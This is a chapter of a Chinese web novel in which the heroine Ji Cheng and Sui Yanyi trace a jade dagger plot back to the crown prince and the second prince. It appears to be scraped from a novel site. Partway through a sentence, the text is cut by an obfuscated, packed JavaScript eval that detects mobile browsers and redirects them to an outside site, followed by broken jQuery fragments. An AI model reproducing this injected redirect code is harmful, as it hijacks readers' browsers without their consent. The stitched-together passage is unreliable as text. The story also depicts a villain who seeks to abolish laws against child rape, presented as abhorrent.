64. 险恶居心

作品:《鹅黄上柳条

    太康府这个年下,天气一直不好,雪断断续续地下了好些日子,直到正月初十才停。


    这天一大早,隋言意就骑着马离开了军营,直奔着纪家而去,刚进纪家的门就看见正蹲在院子里晒太阳的纪娍。


    “隋言意,”纪娍听见声音,忙站起来向门口看去,她的语气中全是惊讶:“你怎么来了?”


    “我要回太康府,顺路来看一看……”


    “回太康府,你一个人?飞鸽和灰雀呢?”


    “我让他们俩先去了。”


    “事情……都解决好了?”


    隋言意点了点头:“我同三皇子来到太康府之后,一起去了一趟军营,这把匕首就是在那之后出现在我父亲的营帐中的,我父亲他以为匕首是我们留下来的,也就没想太多。”说罢,他将那把匕首拿出来给纪娍看。


    通身都是油润细腻的绿翡,花枝柄月牙身,鞘口刻着单只雀眼纹,猛地看上去只是一把过分华丽的匕首,没什么特别值得怀疑的地方。


    但若是将它与纪娍身上那把拼在一块,把鞘口上的两只雀眼纹合在一起,可疑之处就显而易见了……


    “好大的一步棋,”纪娍匪夷所思地摇了摇头,冷笑道:“他都已经是太子了,又何必要对自己的手足这般赶尽杀绝呢?还要将你们隋家也给牵扯进来……”


    “太子到最后没能继承皇位的也不是没有过,”隋言意突然看向纪娍:“你可知道皇后是郑襄漪的姨母?”


    纪娍茫然地摇了摇头:“我不知。”说罢,她又想了一会儿,直到确信自己没在书中看到过这一情节。


    “皇后膝下有过一位公主,可惜自幼体弱,七岁那年夭折了……”


    二十年前,也就是如今的皇上继位那年,皇后唯一的女儿因病离开了人世,她伤心了好一阵子,生了一场重病,也因此伤到了身体,从那之后她就再也无法生育了。


    同年,三皇子在宫中出世,他的生母淑贵妃因难产而亡,皇后可怜三皇子一出生就没了母亲,便将三皇子抱回了自己的宫中,悉心照料,精心教育,将他养成今日这般雅正端庄、至真至诚。


    因为景朝自建朝以来都是施行立嫡以长不以贤,又因为皇后膝下无子,所以大皇子就理所当然地成为了太子,六年前,在大皇子二十岁那一年,皇上写了诏书立他为太子。


    这几年过去,三皇子逐渐成长起来,许多大臣都觉得大皇子资质平平,各方面都与三皇子相差甚远,于是朝中就有了废长立贤的主张。


    若是在之前,大皇子根本就不用担心这些主张,偏他们的老子也就是如今的皇上就是破了立嫡以长不以贤的先例才坐上的皇位……


    尽管三皇子裴容川从未有过要与太子争夺储君之位的心思,可太子那边还是放心不下,尤其是在皇后为郑襄漪和三皇子赐婚之后,太子就更加按捺不住了。


    “也是,毕竟皇后娘娘是郑姑娘的亲姨母,她把自己的旁氏血亲嫁给了自己亲手养大的三皇子,难免会让人多想一层,”纪娍皱着眉头苦思许久:“三皇子他……其实是知道太子的心思的,对吧?”


    隋言意微微颔首:“容川他知道,但在这之前,太子并未做出过什么伤害他的事情,所以他也未曾对他这位兄长有过戒备之心。”说罢,他低头看了一眼手中的匕首,喃喃道:“从今以后就不一定了……”


    “若是你当初答应了那门亲事,可能就不会……”


    “什么亲事?”


    纪娍摇了摇头,笑道:“没什么……”毕竟这一次,皇后娘娘根本就没有为隋言意和郑襄漪赐过婚,隋言意不清楚她在说些什么也是情理之中。


    其实听到这里,纪娍已经意识到了,不管是书中还是现在,太子都是在三皇子与郑襄漪成亲之后开始设计他们的,为的是要坐稳自己的储君之位。


    对太子来说,除掉三皇子这个隐患也算是事出有因,可他为何要将隋家一起给赶尽杀绝呢?难道只是因为担心日后隋家会助力三皇子夺储么?


    原书中,隋言意在拒亲之后不到一年就被派去镇守边关了,好像就是太子向皇上举荐的。


    没过多久,二皇子又向皇上揭发了裴容川和郑襄漪勾结外邦一事,隋言意被牵涉其中,回京接受调查的路上被三皇子身边的近侍给杀了,三皇子也因此坐实了罪名……


    “把匕首放进隋将军营帐中的人找到了么?”


    “没有,”隋言意摇了摇头,斩钉截铁道:“不是军中的将士做的。”


    “你同三皇子身边的人查了么?”


    “特别是去军营那日,跟在你们身边的人……”


    “我身边就只有飞鸽,他不会做这种事,”隋言意顿了顿:“这趟去太康府就是要查一查容川身边的人。”


    纪娍点头道:“是得好好查一查。”


    三皇子身边有两个近侍,一个叫石澎,一个叫石湃,在书中杀害了隋言意的那个是石湃,他看似是三皇子的人,实则是太子一早就安插在三皇子身边的。


    如果说那把匕首不是军中的将士所为,那最值得怀疑的就是他了。


    现在想想,纪娍他们之所以没能在三皇子府中的那几柄弯刀和长剑上发现什么端倪,应该就是那些刀剑原本就是没问题的,但是三皇子身边有这么一个人,那太子他想让那些刀剑什么时候有问题,那些刀剑就能什么时候有问题了。


    “匕首是二皇子从容川那里拿的,”隋言意脸上带着怒色:“难不成……”


    “我也是这么想的,”纪娍想都不想就脱口而出:“那二位怕是早就成了一丘之貉了。”


    若说是太子为的是储君之位才要这般手足相残,那二皇子为的就是他自己那荒淫无耻的怪癖。


    书中提到过,太子知道二皇子的怪癖,可他作为一国的储君不但视若无睹不去加以劝阻,还姑息养奸任由二皇子把这怪癖做成了生意……


    二皇子他倒也不缺这个钱,他要的是废掉“奸十六岁以下,因而致死,及将未至十二岁之女诱去强行奸污者,照光棍例,斩决。其奸十六岁以下十二岁以上幼女者,拟斩监候;和奸者,仍照虽和同强论律,拟绞监候”这条律法。


    虽说他能不顾律法,可总还是要避着人才行,所以多多少少会觉得有些尽不了兴……


    “女人生来就是要被男人把玩的,不管多少岁都一样。”这是书中二皇子借着酒意说出来的一句心里话,纪娍读到这句话的时候只想冲进书里去扯着这个含鸟猢狲的头发暴揍他一顿,把牙都给他打掉……


    而作为一国储君的太子亲耳听见了这句话,却只是笑道:“兄长明白你的意思。”


    太子心机深沉,拉拢人心这种事做起来手到擒来,偏那二皇子也是个又坏又蠢的,听见了这句话直以为他这位兄长继位之后会帮着他废掉这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363594|153270||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些影响他尽情玩乐的律法,故而就心甘情愿地做起了太子的马前卒。


    想来这把匕首也是由二皇子交给石湃的,他为太子做的事情应该也不止这一件,但是纪娍已经看出来了,即使这所有的事情到最后都东窗事发了,太子也定是要想方设法让自己落个干干净净清清白白的。


    可是那二皇子虽说蠢,但他与太子共事这些年来,手里也有太子的把柄,这太子若是想安心坐稳储君之位,必然是不会轻易放过二皇子的。


    只可惜那本书纪娍没有读完,不知道最后的结局是什么,也不清楚太子和二皇子命运的走向。


    她当时读到隋言意死在回京路上,全审司以查找罪证为由血洗整个隋府之后就不想读了,那句“整个隋府还活着的就只有一棵被血染成了红色的矮子松了……”就是纪娍读到的最后一句了。


    如今,读没读完那本书已经没什么影响了,许多事情因为纪娍的直接干预和间接干预已经改变了,连故事的时间线都变了许多……


    裴容川和郑襄漪成亲的时间线提前了,书中他们二人是在隋言意二十三岁那年成的亲,现在则是在隋言意十九岁那年成的亲。


    书中,隋言意是在二十五岁那年失去性命的,若是时间线会变的话,若是时间线只要改变就是提前的话……


    想到这里,纪娍出了一身冷汗,她紧紧地抓着隋言意的胳膊:“隋言意,你可还记得我说过些什么?”


    “我记得,”隋言意轻轻地回握住她的手:“你说……有朝一日你让我放弃什么我就一定要放弃什么……”


    “可是,娍儿……”


    “之前我或许可以答应你,但是匕首这件事情发生之后我怕是做不到了。”


    “远离容川,意味着我放弃的不仅仅是和容川之间的友谊,而是整个大景,”隋言意摇了摇头:“娍儿,大景绝不能交给这样一个越礼放法品行恶劣之人。”


    “这不是能云端里看厮杀的事儿,这关乎整个大景的万千百姓……”


    “若是最后让他成了一国之君,大景这些百姓的日子绝对好不到哪里去。”


    纪娍似乎是早就料到了隋言意的回答,她低着头不再说话,眼泪一颗一颗砸在地上,隋言意伸出手想给她擦擦眼泪,又觉得这举动有些不妥,遂收回了手,只从怀里拿出一张帕子递到了纪娍面前。


    “你要去太康府,”纪娍擦了擦眼泪,回到屋中拿出了隋言意的斗篷给自己系上:“我陪你一起去。”


    隋言意看了看外面分外泥泞的路面,有些为难:“这路不好走,过两日我来接你……”


    “不成,”纪娍声色俱厉地打断了隋言意,然后把自己那匹马牵了出来,翻身上马一气呵成:“就今日,我方才已经同祖母说好了,快些上路。”说罢,她就扯了扯缰绳,驾着马径直朝着太康府而去。


    若是早些时候,纪娍一定会变着法儿地劝说隋言意,可现在她知道了那些人的险恶居心,也明白那些人已经计划好了要将隋家一并拉入深渊,事情既是到了这一步,隋家人想明哲保身已是不可能的了。


    已经被推着入了局了,早就没了什么能退而求其次的方法,也没了形势所迫逼不得已诸如此类的托词……


    想到这里,纪娍的一颗心又坚定了许多,她骑在马背上,一双手紧紧地拽住缰绳,耳朵、头发和裙角掠过寒风,一路疾驰入了太康府的城门。